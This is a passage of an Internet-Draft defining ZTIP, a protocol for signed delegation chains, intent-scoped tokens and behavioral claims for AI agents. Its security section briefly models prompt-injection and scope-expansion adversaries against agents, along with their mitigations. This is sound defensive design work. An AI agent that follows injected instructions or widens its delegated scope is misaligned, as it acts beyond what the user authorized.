| | | on_high_risk, | | | | on_data_egress, always. | | | | Profiles MAY define | | | | additional values. | +-------------------------+---------+--------------------------+ | max_tool_call_depth | integer | Maximum delegation-chain | | | | depth the agent will | | | | recurse into. SHOULD be | | | | ≤ the verifier's | | | | configured chain-depth | | | | limit (Section 3.5). | +-------------------------+---------+--------------------------+ | data_exfil_controls | boolean | Agent has data- | | | | exfiltration controls. | +-------------------------+---------+--------------------------+ Table 6 A verifier's policy MAY reference ai_behavior claims as prerequisites for granting specific actions. For example: a policy may require prompt_injection_tested: true before granting actions: ["email_send"]. Miller Expires 29 October 2026 [Page 22] Internet-Draft ZTIP April 2026 5.1.1. Evidence Sub-Field Each behavioral claim MAY be accompanied by a sibling evidence object that records how the claim was substantiated. Verifiers concerned about the rigor of a behavioral claim SHOULD inspect its evidence object before relying on the claim. The evidence object SHOULD contain: +===============+=========+======================================+ | Field | Type | Description | +===============+=========+======================================+ | source | string | Identifier of the party that | | | | generated the evidence (e.g., URI of | | | | an evaluator, internal red-team | | | | identifier, vendor name). | +---------------+---------+--------------------------------------+ | method | string | Methodology used to substantiate the | | | | claim (e.g., red_team_test_suite_v3, | | | | automated_prompt_injection_corpus, | | | | manual_review_2026Q1). | +---------------+---------+--------------------------------------+ | date | string | ISO 8601 date when the evidence was | | | | generated. | +---------------+---------+--------------------------------------+ | validity_days | integer | OPTIONAL: how long the evidence is | | | | considered valid; verifiers MAY | | | | treat older evidence as expired. | +---------------+---------+--------------------------------------+ | evidence_hash | string | OPTIONAL: SHA-256 hash of an | | | | evidence artifact (test report, log | | | | file) the verifier can request out- | | | | of-band. | +---------------+---------+--------------------------------------+ Table 7 Example: Miller Expires 29 October 2026 [Page 23] Internet-Draft ZTIP April 2026 { "ai_behavior": { "prompt_injection_tested": true, "evidence": { "prompt_injection_tested": { "source": "https://example-evaluators.org", "method": "owasp_llm_top10_2025_corpus_v2", "date": "2026-04-15", "validity_days": 90, "evidence_hash": "Q7nB...base64url..." } } } } evidence entries are nested by claim name within an evidence object alongside the claims they substantiate (so a verifier can iterate claim → evidence). The Issuer signing the credential is responsible for the truthfulness of evidence entries. Profiles MAY define additional required evidence fields for specific claims (e.g., requiring evidence.method for tool_misuse_score). 5.1.2. Baseline Corpora for "Tested" Claims A boolean claim such as prompt_injection_tested: true is meaningful only with respect to a defined test corpus. Without a referenced corpus the claim collapses to vendor self-attestation and offers a verifier no basis for comparing two issuers' assertions. ZTIP does not standardize a single corpus — the field is moving rapidly and no single test set captures the full attack surface — but does specify how a corpus is referenced. When evidence.method substantiates a _tested claim, the value SHOULD identify a publicly documented test corpus and version. Examples of such corpora include: * The OWASP Top 10 for Large Language Model Applications (commonly cited as "OWASP LLM Top 10"), with a year and version identifier (e.g., owasp_llm_top10_2025_v1). * Vendor- or community-maintained prompt-injection test suites with public methodology (e.g., adversarial-prompt corpora published by recognized red teams). Miller Expires 29 October 2026 [Page 24] Internet-Draft ZTIP April 2026 * Internal corpora, where the methodology is documented and the corpus version is identified, accompanied by an evidence_hash over the corpus or its specification. Verifiers SHOULD treat claims whose evidence.method does not identify a public corpus, an evidence_hash over an internal corpus, or a recognized methodology as no stronger than vendor self-attestation. Verifiers depending on a _tested claim for a policy decision SHOULD additionally require that the corpus referenced in evidence.method is one the verifier accepts; deployments differ in which corpora they consider authoritative, and ZTIP intentionally leaves that choice to the verifier rather than mandating one corpus globally. This is consistent with the framing in Section 5: behavioral claims are advisory. Pointing at a corpus does not make the claim a security primitive — it makes it a policy input that a verifier can compare across issuers without deferring entirely to issuer reputation. 5.2. Vendor-Defined and Bespoke Claims Implementations MAY define additional behavioral claims for their domain. ZTIP does not maintain a central registry of behavioral claim names; instead, three naming conventions allow extension without coordination: * *URI-namespaced names* (RECOMMENDED for cross-organization deployments): the claim name is a URI per [RFC3986] in a domain controlled by the publisher. Example: https://acme.example/ztip/claims/red_team_score_v1. Anyone reading the URI can identify the publisher and look up the claim's definition. * *Vendor-prefixed names* (RECOMMENDED for in-domain consortia): a registered organizational identifier as a prefix. Example: acme:red_team_score_v1. * *Privately-agreed names* (acceptable when both parties understand the meaning out-of-band): unprefixed identifiers used only within deployments where issuer and verifier have agreed semantics. Example: internal_score. This pattern follows JWT private-claim conventions ([RFC7519] Section 4.3) and OAuth scope-string conventions. Verifiers MUST ignore unrecognized claims they do not understand. Verifiers that depend on a behavioral claim for a policy decision MUST fail closed if the claim is absent. Miller Expires 29 October 2026 [Page 25] Internet-Draft ZTIP April 2026 5.3. Interaction with Standard Claims Vendor-defined claims MUST NOT redefine the meaning of any of the standard claims listed above. A vendor wishing to refine the semantics of, say, tool_misuse_score MUST publish a new vendor- namespaced claim (e.g., acme:tool_misuse_score_v2) rather than redefining the standard one. 6. Composition Profiles ZTIP is designed to compose with multiple authorization systems. This section specifies normative composition profiles. Deployments SHOULD use a published profile when one exists; vendors MAY define additional profiles for their authorization systems. 6.1. Composition with ZTNP When composed with the Zero-Trust Negotiation Protocol [I-D.miller-ztnp]: * The Authorization Token is the ZTNP Permit (Section 8 of ZTNP). * The Key Source is the Issuer Key Set (IKS, Section 6 of ZTNP) for each delegating principal. * The Delegation Chain (defined in Section 3 of this document) is carried in the PROOF message of ZTNP's Negotiation phase (Section 7.3 of ZTNP), under the delegation_chain field. * ZTIP fields (intent_hash, intent_scope, chain_root_iss, chain_root_jti) are top-level fields on the Permit. * Behavioral Claims appear under the ai_behavior namespace in any credential about the Prover. Their canonical placement is on the Posture Assertion at claims.posture.ai_behavior (a profile-defined extension under ZTNP's claims.posture per Section 5.4 of ZTNP). Profiles MAY additionally place per-issuance Behavioral Claims on the Permit at ai_behavior (e.g., the MCP profile's legacy_stdio_binding flag), where they describe a property of how the Permit was issued rather than the long-lived posture of the Prover. A worked example using this profile appears in Appendix A. 6.2. Composition with OAuth 2.0 / JWT When composed with OAuth 2.0 [RFC6749] access tokens in JWT format ([RFC7519]): Miller Expires 29 October 2026 [Page 26] Internet-Draft ZTIP April 2026 * The Authorization Token is the JWT access token. * The Key Source for chain-layer signature verification is each principal's published JWKS endpoint, located via OAuth Authorization Server Metadata or a similar discovery mechanism. * ZTIP fields are top-level claims in the access token JWT, alongside iss, sub, aud, exp, scope. * The Delegation Chain is carried in a separate HTTP header alongside the bearer token: Authorization: Bearer ZTIP-Chain: * Behavioral Claims appear in the access token under a top-level ai_behavior claim (an object), alongside the Intent-Scoped fields. The JWT access token, with ZTIP fields, looks like: { "iss": "https://auth.example", "sub": "agent:summarizer-3", "aud": "https://api.example", "exp": 1745504400, "iat": 1745500900, "scope": "email.read", "intent_hash": "Q9h_MJaQrDtKRb7MKfwg664jUWmVlErfdS8Qm1y6qNc", "intent_scope": { "actions": ["read"], "tools": ["email.read"] }, "chain_root_iss": "user:alice", "chain_root_jti": "intent_01HVXYZ_SUMMARIZE_REQUEST", "ai_behavior": { "prompt_injection_tested": true, "human_in_loop_policy": "on_high_risk" } } This composition layers ZTIP cleanly above OAuth without modifying OAuth's core flows. The OAuth Authorization Server is responsible for issuing tokens that include the ZTIP fields; the resource server is responsible for performing the scope-consistency check (Section 4.2) on each request. 6.3. Composition with GNAP When composed with the Grant Negotiation and Authorization Protocol [RFC9635], ZTIP uses GNAP's extension-parameter registries (Section 10 of [RFC9635]) rather than overloading existing fields. Miller Expires 29 October 2026 [Page 27] Internet-Draft ZTIP April 2026 *Delegation Chain in the grant request.* The Delegation Chain is carried as a top-level extension parameter ztip_delegation_chain on the grant request body, in compact-JWS form. This parameter is intended for registration in the "GNAP Grant Request Parameters" registry (Section 10.3 of [RFC9635]). POST /grant HTTP/1.1 Content-Type: application/json { "access_token": { "access": [ ... ] }, "client": { "key": { ... } }, "ztip_delegation_chain": "" } The AS validates the chain (Section 3.3 of this document) before issuing access tokens. A failed validation MUST cause the grant request to be rejected with the appropriate ZTIP reason code reported in an extension field on the GNAP error response. *ZTIP fields on the issued access token.* When the AS issues an access token in response to a chain-bearing grant request, the token MUST carry the ZTIP fields intent_hash, intent_scope, chain_root_iss, and chain_root_jti (Section 4 of this document). Placement depends on the access-token format the AS issues: * If the AS issues a JWT access token, the ZTIP fields appear as top-level claims (per the OAuth 2.0 / JWT composition in Section 6.2 of this document). * If the AS issues an opaque token, the ZTIP fields are returned alongside the token in the grant response under an extension parameter ztip (object), intended for registration in the "GNAP Grant Response Parameters" registry (Section 10.12 of [RFC9635]). The opaque token's introspection response MUST also include these fields when introspection is supported. *Key Source for chain layer signatures.* Each delegating principal in the chain has its own signing key. GNAP's grant-request flow exposes the _immediate_ client's key via the client.key field; ZTIP requires keys for _every_ principal in the chain. The composition resolves this by requiring that each chain layer's delegator identifier be a URI dereferenceable to a JWKS, or alternatively that the AS maintain an out-of-band trust store for known delegators. Profiles MAY further constrain this; this base spec leaves the choice to deployment. Miller Expires 29 October 2026 [Page 28] Internet-Draft ZTIP April 2026 *Continuation requests.* GNAP supports continuation of a grant for token refresh and modification. When a continuation request modifies the authorized scope, the client MAY supply a new ztip_delegation_chain value (e.g., representing a further-narrowed delegation). The AS MUST validate that the new chain's scope is consistent with — and not broader than — the chain that originally established the grant. *What this section does not specify.* Wire-level normative details — exact field names accepted into the IANA GNAP registries, exact error-response shape, interaction-mode semantics when a chain is required for an interaction step — are deliberately left to a companion profile document. Implementers wanting an end-to-end conformant GNAP+ZTIP deployment SHOULD await or contribute to that companion document. The sketch above is sufficient for early experimentation and for soliciting feedback from the GNAP working group, but it is not a complete profile. 6.4. Custom Authorization Systems Implementations MAY compose ZTIP with bespoke authorization systems. The composition document MUST specify: 1. The signed credential serving as the Authorization Token. 2. A Key Source for each principal that may sign a delegation chain layer. 3. A carriage mechanism for the chain alongside the credential. 4. A reason-code mapping if the composition's transport differs from HTTP. 5. The placement of ZTIP fields (intent_hash, etc.) within the Authorization Token. 6. The placement of Behavioral Claims within any associated agent credential. A composition profile SHOULD be published as a separate document when intended for cross-organization use. 6.5. Deployment Pattern: Transparent Intermediate Signer This subsection describes a recurring deployment pattern that ZTIP supports without additional protocol machinery. It is informative; the underlying mechanics (Sections 3 and 4) are unchanged. Miller Expires 29 October 2026 [Page 29] Internet-Draft ZTIP April 2026 In some delegation chains, requiring per-action human approval is operationally prohibitive — a chat-driven session where the user types ten messages per minute cannot reasonably re-prompt for explicit approval on each turn. The practical pattern that emerges: 1. *Layer 0 (root):* The user (Originator) signs a session-level intent at session establishment. The intent_object describes the broad scope the user is authorizing for the session ("answer questions and call tools related to my project X using only my internal documents"). This is one human-consented signing event. 2. *Layer 1 (transparent intermediate):* A trusted Planner or session controller — running under the user's identity but operating without per-turn user approval — signs delegation layers programmatically as the session proceeds. Each per-turn delegation reduces scope further (scope_reduction) based on the specific user request that turn. The Planner is _transparent_ because it adds chain layers without re-prompting; it is _trusted_ because it is structurally above the prompt-injection- exposed Worker and constrained by the root's scope. 3. *Layer 2 (worker):* A sub-agent (potentially exposed to prompt injection from tool outputs) operates under the per-turn delegation. Its scope is reduced from the Planner's scope, which is reduced from the root. The transparent intermediate signer pattern works within ZTIP's existing primitives: * The chain has arbitrary depth (Section 3.5 caps at 8 by default). * Every layer enforces scope monotonicity (Section 3.4). * The root retains the user-consented intent_object; intermediate layers carry only scope_reduction (no new intent). * Any operation reaching the final tool is constrained by the intersection of all layers' scopes. *Security requirements for the intermediate signer:* * The intermediate's signing key MUST be under operational control of the same trust principal as the user's signing environment (the Planner is part of the user's session infrastructure, not a third- party service). Miller Expires 29 October 2026 [Page 30] Internet-Draft ZTIP April 2026 * The intermediate MUST enforce scope monotonicity at signing time; an intermediate that signs scopes broader than the root authorized is a security failure regardless of downstream verification. * The intermediate SHOULD log per-turn signing decisions to a tamper-evident audit trail. The log SHOULD include the user's per-turn input that derived the scope_reduction (so a subsequent audit can reconstruct what was authorized for each turn). * The intermediate SHOULD use a short-lived signing key bound to the session (e.g., generated at session establishment, deleted at session termination), to limit the blast radius if the key is exposed. *When to use this pattern:* * Long-running interactive sessions where user re-approval per action is unworkable. * Programmatic decomposition of a high-level user intent into low- level tool calls, where the decomposition is performed by trusted infrastructure, not by the prompt-injection-exposed Worker. * Multi-turn chat UX where each turn produces a new sub-intent within the session-level intent. *When NOT to use this pattern:* * High-stakes single-action authorizations (financial transfers, irreversible operations) where per-action explicit consent is the security boundary. * Deployments where the intermediate signer is not under the user's trust principal (e.g., a third-party SaaS Planner). Miller Expires 29 October 2026 [Page 31] Internet-Draft ZTIP April 2026 *Trust-boundary implications.* The transparent intermediate signer pattern shifts the human-consent boundary from per-action to per- session, with a trusted automated signing authority producing the per-turn delegation layers in between. This is a deliberate tradeoff for operational viability, and adopters SHOULD treat it as a meaningful change in their threat model rather than an implementation detail. A compromised intermediate cannot expand scope (Section 3.4 prevents that — every per-turn delegation is still strictly within the root intent's scope), but it can manipulate behavior within the authorized space: which tools to invoke, in what order, with what arguments, drawing on which session inputs. For most session-level scopes this residual surface is acceptable; for scopes broad enough that within-scope behavior can itself cause harm, it is not. Two consequences: 1. The intermediate signer is a high-value target equivalent in sensitivity to the Originator's signing surface for the duration of the session, and SHOULD receive equivalent operational hardening (HSM-backed keys, restricted access, monitored signing surfaces). 2. The session-level intent_object SHOULD be no broader than the user would be willing to authorize unattended for the session's duration. If a session-level intent encompasses high-stakes actions, those actions belong in a separate, narrower intent signed at the moment they are needed (per the "When NOT to use this pattern" guidance above), not within the broad session intent. Future profile documents MAY formalize specific implementations of this pattern (e.g., by specifying a distinct identifier prefix for transparent intermediates, audit-log requirements, key-lifetime bounds). This base specification deliberately leaves the implementation details to deployments and profile authors. 7. Security Considerations This section is REQUIRED by [RFC3552]. ZTIP introduces security properties beyond those provided by any single authorization system; this section enumerates the additional adversaries and mitigations specific to ZTIP. Composition-specific security considerations (e.g., the security considerations of OAuth 2.0 or ZTNP) continue to apply to deployments using those compositions. Miller Expires 29 October 2026 [Page 32] Internet-Draft ZTIP April 2026 7.1. Trust Anchor The security of ZTIP is strictly bounded by the trustworthiness of the Originator and the integrity of the Originator's signing environment. This is the protocol's trust anchor, analogous to the certificate-authority hierarchy in TLS or the issuer in OAuth: every guarantee ZTIP provides downstream is conditional on the Originator having signed something the Originator actually meant to sign. A compromised or malicious Originator can produce a maximally-broad intent_object and a chain authorizing any downstream principal; verifiers cannot distinguish such an intent from a legitimate one within the chain itself. ZTIP's defenses (scope monotonicity, intent binding, chain auditability) protect against compromise _after_ signing — they do not protect against compromise _at_ signing time. Mitigations for the trust-anchor surface are deliberately out-of- protocol and SHOULD include: * HSM-backed or hardware-bound storage of the Originator's signing key. * Short Signed-Intent lifetimes (exp close to iat) so that a compromised intent has limited reach. * Multi-factor or additional-channel approval at the signing surface for high-stakes intents (e.g., financial transfers, irreversible operations). * Human review of intent_object contents at the signing UI before the signature is produced — i.e., the user signs what the user sees. * Tamper-evident logging of every Originator signing event, so that compromise can be detected after-the-fact even if it cannot be prevented in real time. Deployments evaluating ZTIP for a particular threat model SHOULD treat the Originator's signing environment with the same operational rigor they would apply to a CA's root key. Miller Expires 29 October 2026 [Page 33] Internet-Draft ZTIP April 2026 7.2. Additional Adversaries +====================+========================================+ | Adversary | Goal | +====================+========================================+ | ADV-PROMPT-INJECT | Controls user-supplied content | | | reaching an agent; wants to substitute | | | the operational intent. | +--------------------+----------------------------------------+ | ADV-CHAIN-FORGER | Attempts to forge a Delegation Chain | | | claiming authority from a root | | | Originator the chain recipient trusts. | +--------------------+----------------------------------------+ | ADV-SCOPE-EXPANDER | Controls a sub-agent in the middle of | | | a chain; attempts to grant downstream | | | agents broader scope than the parent | | | layer authorized. | +--------------------+----------------------------------------+ | ADV-DEPTH-FLOODER | Constructs deeply-nested chains to | | | consume verifier resources (CPU, | | | stack, signature-verification time) at | | | the receiver. | +--------------------+----------------------------------------+ Table 8 7.3. Attack Surface and Mitigations +===================+==================================+===========+ | Attack | Mitigation | Reference | +===================+==================================+===========+ | Prompt-injected | Intent-Scoped Authorization | Section 4 | | confused deputy | Tokens (Section 4) bind | | | | authorization to the original | | | | signed intent. The injected | | | | instruction substitutes a new | | | | intent that does not match | | | | intent_hash; gated operations | | | | fail with INTENT_SCOPE_MISMATCH. | | +-------------------+----------------------------------+-----------+ | Chain forgery | Each layer's signature is | Section | | | verified against the issuing | 3.3 | | | principal's published key | | | | (Section 3.3 rule 1). An | | | | adversary cannot forge a layer | | | | without the corresponding | | | | private key. | | +-------------------+----------------------------------+-----------+ Miller Expires 29 October 2026 [Page 34] Internet-Draft ZTIP April 2026 | Scope expansion | Scope monotonicity enforcement | Section | | mid-chain | (Section 3.3 rule 3 and | 3.3, 3.4 | | | Section 3.4) rejects any chain | | | | in which a child layer grants | | | | broader scope than its parent. | | +-------------------+----------------------------------+-----------+ | Chain replay | Chain layers carry iat/exp; | Section | | | receivers MUST reject expired | 3.3 | | | layers (Section 3.3 rule 5). | | | | The root Signed Intent's jti can | | | | be tracked to prevent intent | | | | replay across sessions. | | +-------------------+----------------------------------+-----------+ | Originator key | Outside ZTIP's defense — same | (Out of | | compromise | status as Issuer key compromise | scope) | | | in any signing-based system. | | | | Mitigated by short Signed-Intent | | | | lifetimes and Originator-side | | | | HSM use. | | +-------------------+----------------------------------+-----------+ | Behavioral-claim | Behavioral claims (Section 5) | Section 5 | | misrepresentation | are signed by whatever | | | | credential issuer carries them. | | | | Verifiers MAY require specific | | | | issuers known to assess | | | | behavioral properties | | | | rigorously. | | +-------------------+----------------------------------+-----------+ | Chain-depth flood | Maximum chain depth enforcement | Section | | / verifier | (Section 3.5). Depth MUST be | 3.5 | | resource | checked before signature | | | exhaustion | verification to prevent stack/ | | | | CPU exhaustion. | | +-------------------+----------------------------------+-----------+ Table 9 7.4. Out of Scope ZTIP does not defend against: * *Compromise of the Originator before they sign the intent.* The Originator's signing environment is the trust root; if it is compromised, the adversary can sign arbitrary intents that downstream verifiers will treat as legitimate. Mitigations are out-of-protocol (HSM, hardware-bound signing, multi-factor approval at signing time). Miller Expires 29 October 2026 [Page 35] Internet-Draft ZTIP April 2026 * *Side-channel observation of intent contents.* The intent_object is visible to every verifier in the chain (each verifier needs to recompute the hash). Information that should not be visible in transit MUST be redacted from the canonical intent before signing — see Privacy Considerations (Section 8) for guidance. 8. Privacy Considerations This section is informed by [RFC6973]. *Intent string sensitivity.* The canonical-intent-string (the source of intent_hash) describes what a user asked the system to do. It MAY be sensitive (medical, legal, financial). Implementations MUST NOT log canonical-intent-strings without retention controls. The intent_hash is non-reversible and MAY be logged. *Intent visibility is a structural tradeoff, not just a privacy concern.* Verifiable intent binding requires every verifier in the chain to see the intent contents (or a hash thereof, with downstream lookup). For deployments where intent contents are themselves sensitive — financial transaction details, medical context, legal strategy, regulated business data — this visibility is a deployment- feasibility constraint, not a privacy nicety. Some enterprise deployments may reject intent-binding altogether on this ground; deployments evaluating ZTIP for adoption SHOULD plan their intent schema with this constraint in mind from the outset. The mitigations below shape what can be carried in intent_object without leaking; they do not remove the underlying tradeoff between verifiability and confidentiality. *Intent contents are visible to all verifiers.* Every verifier in the chain receives the root layer's intent_object (it must, in order to recompute the hash and evaluate intent_scope). The intent contents are therefore visible to every layer between Originator and final verifier. Originators MUST NOT include in intent_object any information that must remain confidential to a subset of verifiers. Three patterns help: * *Field redaction at signing time.* The Originator's signing application removes sensitive details from intent_object before canonicalization, signing only what verifiers need to evaluate scope. The user-readable intent stays in the user's local logs, not in the signed chain. * *Reference-by-hash.* Sensitive payloads are hashed; the chain carries only the hash. Downstream agents look up the actual content via a separate authenticated channel. Miller Expires 29 October 2026 [Page 36] Internet-Draft ZTIP April 2026 * *Profile-specific encryption.* Some profiles may layer envelope encryption over intent_object for verifiers who hold the appropriate key. This is out of scope for ZTIP base; profile documents MAY specify it. *Delegation chain disclosure.* A Delegation Chain reveals the orchestration topology (which orchestrator, which sub-agents, which tools). Where this is sensitive, deployments MAY truncate chains exposed to external receivers, retaining only the layers the receiver needs to verify. *Behavioral-claim disclosure.* Some behavioral claims (e.g., human_in_loop_policy: never) reveal architectural choices that adversaries could exploit. Issuers and Provers SHOULD coordinate on which behavioral claims are appropriate to expose at which trust boundaries. *Originator linkability.* A persistent Originator identifier (user:alice) creates linkability across all chains the Originator participates in. Deployments MAY use ephemeral Originator identifiers per-session where the deployment context permits. 9. IANA Considerations This document requests the following IANA actions. The ZTIP IANA footprint is intentionally minimal: a single new registry (Denial Reason Codes), a single HTTP field registration (ZTIP-Chain), and zero new registries for behavioral claim names. The single registry uses Specification Required allocation per [RFC8126] — anyone able to write a stable specification document can register a new reason code, with no IETF consensus action required per registration. Composition profile documents are expected to add reason codes for their domain; the Specification Required policy keeps that path open for vendor and consortium specifications without burdening either IANA or the IETF process. 9.1. ZTIP Denial Reason Code Registry This document requests creation of a registry titled "ZTIP Denial Reason Codes". It administers reason codes returned by ZTIP-aware verifiers when rejecting a request. Allocation Policy: Specification Required (per [RFC8126]). Initial Registrations: Miller Expires 29 October 2026 [Page 37] Internet-Draft ZTIP April 2026 +==========================+=========================+===========+ | Code | Meaning | Reference | +==========================+=========================+===========+ | DEL_CHAIN_MISSING | Policy requires a | This | | | Delegation Chain but | document, | | | none was provided | Section 3 | +--------------------------+-------------------------+-----------+ | DEL_CHAIN_BROKEN | Chain of delegator/ | This | | | delegatee references | document, | | | has a gap | Section 3 | +--------------------------+-------------------------+-----------+ | DEL_CHAIN_SCOPE_EXPANDED | A child layer attempts | This | | | to grant broader scope | document, | | | than its parent | Sections | | | | 3, 3.4 | +--------------------------+-------------------------+-----------+ | DEL_CHAIN_EXPIRED | One or more chain | This | | | layers has expired | document, | | | | Section 3 | +--------------------------+-------------------------+-----------+ | DEL_CHAIN_UNTRUSTED_ROOT | The root Signed Intent | This | | | is not signed by a | document, | | | trusted Originator | Section 3 | +--------------------------+-------------------------+-----------+ | DEL_CHAIN_DEPTH_EXCEEDED | The chain exceeds the | This | | | verifier's configured | document, | | | maximum depth | Section | | | | 3.5 | +--------------------------+-------------------------+-----------+ | INTENT_SCOPE_MISMATCH | The requested operation | This | | | is outside the scope | document, | | | authorized by the root | Section 4 | | | Signed Intent | | +--------------------------+-------------------------+-----------+ Table 10 Composition profiles MAY add codes via Specification Required. 9.2. HTTP Field Name Registration This document requests registration of the following HTTP field name in the "Hypertext Transfer Protocol (HTTP) Field Name Registry" (per [RFC9110] Section 16.3.1): Miller Expires 29 October 2026 [Page 38] Internet-Draft ZTIP April 2026 +============+===========+============================+ | Field Name | Status | Reference | +============+===========+============================+ | ZTIP-Chain | permanent | This document, Section 6.2 | +------------+-----------+----------------------------+ Table 11 *Specification:* The ZTIP-Chain HTTP header field carries a Delegation Chain (Section 3) as a single compact-serialized JSON Web Signature [RFC7515] value. It is sent by clients alongside an Authorization: Bearer header in the OAuth 2.0 composition profile (Section 6.2). The field value is the outermost JWS of a Delegation Chain in compact serialization. The field MUST NOT appear more than once in a single request; a request bearing multiple ZTIP-Chain fields MUST be rejected with DEL_CHAIN_BROKEN. *Comments:* The author searched the IANA HTTP Field Name Registry as of the date of publication and found no existing field named ZTIP- Chain, no existing field beginning with ZTIP-, and no closely-related field name. The closest prefix-matching field is Client-Cert-Chain, which addresses TLS certificate-chain transport — a different domain from delegation-chain transport. 9.3. Note on Behavioral Claim Names ZTIP does not request creation of an IANA registry for behavioral claim names. Section 5 specifies a standard set of claims (prompt_injection_tested, tool_call_audit_logged, etc.) and an extension mechanism using URI-namespaced names, vendor-prefixed names, and privately-agreed names. This intentional non-allocation mirrors the framework_id approach in ZTNP: the diversity of bespoke and enterprise behavioral claims makes a central registry impractical, and the namespacing conventions in Section 5 provide collision-free extension without IANA gatekeeping. 10. Implementation Status This section records known implementations per RFC 7942 and is to be removed before publication as an RFC. A reference TypeScript implementation of Delegation Chain verification, Intent-Scoped Authorization enforcement, and Behavioral Claim parsing is in progress at: https://github.com/agent-trust-protocols/agent-trust-protocols/tree/main/reference/typescript/ztip Miller Expires 29 October 2026 [Page 39] Internet-Draft ZTIP April 2026 Test vectors covering valid chains, broken chains, scope-expanded chains, depth-exceeded chains, expired chains, and intent-scope mismatches are at: https://github.com/agent-trust-protocols/agent-trust-protocols/tree/main/test-vectors/ztip A Python reference implementation is planned. Composition-profile reference implementations (OAuth, ZTNP) are planned as the protocols stabilize. 11. References 11.1. Normative References [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, DOI 10.17487/RFC2119, March 1997, . [RFC3986] Berners-Lee, T., Fielding, R., and L. Masinter, "Uniform Resource Identifier (URI): Generic Syntax", STD 66, RFC 3986, DOI 10.17487/RFC3986, January 2005, . [RFC7515] Jones, M., Bradley, J., and N. Sakimura, "JSON Web Signature (JWS)", RFC 7515, DOI 10.17487/RFC7515, May 2015, . [RFC8126] Cotton, M., Leiba, B., and T. Narten, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 8126, DOI 10.17487/RFC8126, June 2017, . [RFC8174] Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC 2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174, May 2017, . [RFC8785] Rundgren, A., Jordan, B., and S. Erdtman, "JSON Canonicalization Scheme (JCS)", RFC 8785, DOI 10.17487/RFC8785, June 2020, . [RFC9110] Fielding, R., Ed., Nottingham, M., Ed., and J. Reschke, Ed., "HTTP Semantics", STD 97, RFC 9110, DOI 10.17487/RFC9110, June 2022, . 11.2. Informative References Miller Expires 29 October 2026 [Page 40] Internet-Draft ZTIP April 2026 [I-D.miller-ztnp] Miller, J., "Zero-Trust Negotiation Protocol (ZTNP) Core", Work in Progress, Internet-Draft, draft-miller-ztnp-00, n.d., . [Macaroons2014] Birgisson, A., Politz, J. G., Erlingsson, Ú., Taly, A., Vrable, M., and M. Lentczner, "Macaroons: Cookies with Contextual Caveats for Decentralized Authorization in the Cloud", NDSS Symposium 2014, 2014, . [RFC3552] Rescorla, E. and B. Korver, "Guidelines for Writing RFC Text on Security Considerations", BCP 72, RFC 3552, DOI 10.17487/RFC3552, July 2003, . [RFC6749] Hardt, D., Ed., "The OAuth 2.0 Authorization Framework", RFC 6749, DOI 10.17487/RFC6749, October 2012, . [RFC6973] Cooper, A., Tschofenig, H., Aboba, B., Peterson, J., Morris, J., Hansen, M., and R. Smith, "Privacy Considerations for Internet Protocols", RFC 6973, DOI 10.17487/RFC6973, July 2013, . [RFC7519] Jones, M., Bradley, J., and N. Sakimura, "JSON Web Token (JWT)", RFC 7519, DOI 10.17487/RFC7519, May 2015, . [RFC8693] Jones, M., Nadalin, A., Campbell, B., Ed., Bradley, J., and C. Mortimore, "OAuth 2.0 Token Exchange", RFC 8693, DOI 10.17487/RFC8693, January 2020, . [RFC9449] Fett, D., Campbell, B., Bradley, J., Lodderstedt, T., Jones, M., and D. Waite, "OAuth 2.0 Demonstrating Proof of Possession (DPoP)", RFC 9449, DOI 10.17487/RFC9449, September 2023, . [RFC9635] Richer, J., Ed. and F. Imbault, "Grant Negotiation and Authorization Protocol (GNAP)", RFC 9635, DOI 10.17487/RFC9635, October 2024, . Miller Expires 29 October 2026 [Page 41] Internet-Draft ZTIP April 2026 Appendix A. Worked Example: Three-Hop Delegation Chain (ZTNP Composition) This appendix presents a complete example of a three-party delegation chain using the *ZTNP composition profile* (Section 6.1). It is informative; it does not introduce new normative requirements. Implementers SHOULD verify their implementation against this example. A.1. Scenario User Alice asks her orchestrator to "summarize my unread emails from the last 24 hours and produce a markdown digest." The orchestrator delegates the work to a specialized summarizer agent, which in turn calls the email-read tool. Three signing principals participate: * user:alice — the Originator (root) * principal:orchestrator-1 — the orchestrator * agent:summarizer-3 — the summarizer agent The downstream tool tool:email.read receives the call and verifies the entire chain before serving the request. A.2. A.1 Layer 0: Signed Intent (Root) Alice's signing application produces the following intent_object: { "action": "summarize", "scope": { "actions": ["read"], "data": ["internal", "pii"], "tools": ["email.list", "email.read"] }, "target": "unread emails from the last 24 hours", "constraints": { "must_not": ["email.send", "email.delete"] } } After JCS canonicalization per Section 3.2, the canonical bytes are: {"action":"summarize","constraints":{"must_not":["email.send","email.delete"]},"scope":{"actions":["read"],"data":["internal","pii"],"tools":["email.list","email.read"]},"target":"unread emails from the last 24 hours"} The base64url-encoded SHA-256 of these UTF-8 bytes is the intent_hash. For this intent_object the value is: Miller Expires 29 October 2026 [Page 42] Internet-Draft ZTIP April 2026 intent_hash = Q9h_MJaQrDtKRb7MKfwg664jUWmVlErfdS8Qm1y6qNc This is the same intent_object (and therefore the same hash) as Example 1 in Section 3.2. The root layer's full payload (before JWS signing): { "del_chain_ver": "0.1", "intent_root": true, "originator": "user:alice", "intent_object": { /* as shown above */ }, "intent_hash": "Q9h_MJaQrDtKRb7MKfwg664jUWmVlErfdS8Qm1y6qNc", "authorized_chain": ["principal:orchestrator-1", "agent:summarizer-3"], "scope": { /* same value as intent_object.scope */ }, "iat": 1745500800, "exp": 1745504400, "jti": "intent_01HVXYZ_SUMMARIZE_REQUEST" } This payload is signed with Alice's private key. The result is a compact JWS denoted JWS_root. A.3. A.2 Layer 1: Orchestrator's Delegation The orchestrator receives JWS_root and delegates to the summarizer agent: { "del_chain_ver": "0.1", "delegator": "principal:orchestrator-1", "delegatee": "agent:summarizer-3", "scope_reduction": { "actions": ["read"], "data": ["internal", "pii"], "tools": ["email.list", "email.read"] }, "iat": 1745500850, "exp": 1745504400, "inner": "" } The orchestrator does not narrow scope here. It signs with its own key, producing JWS_orch. Miller Expires 29 October 2026 [Page 43] Internet-Draft ZTIP April 2026 A.4. A.3 Layer 2: Summarizer's Delegation The summarizer narrows scope (no PII, only email.read): { "del_chain_ver": "0.1", "delegator": "agent:summarizer-3", "delegatee": "tool:email.read", "scope_reduction": { "actions": ["read"], "data": ["internal"], "tools": ["email.read"] }, "iat": 1745500900, "exp": 1745504400, 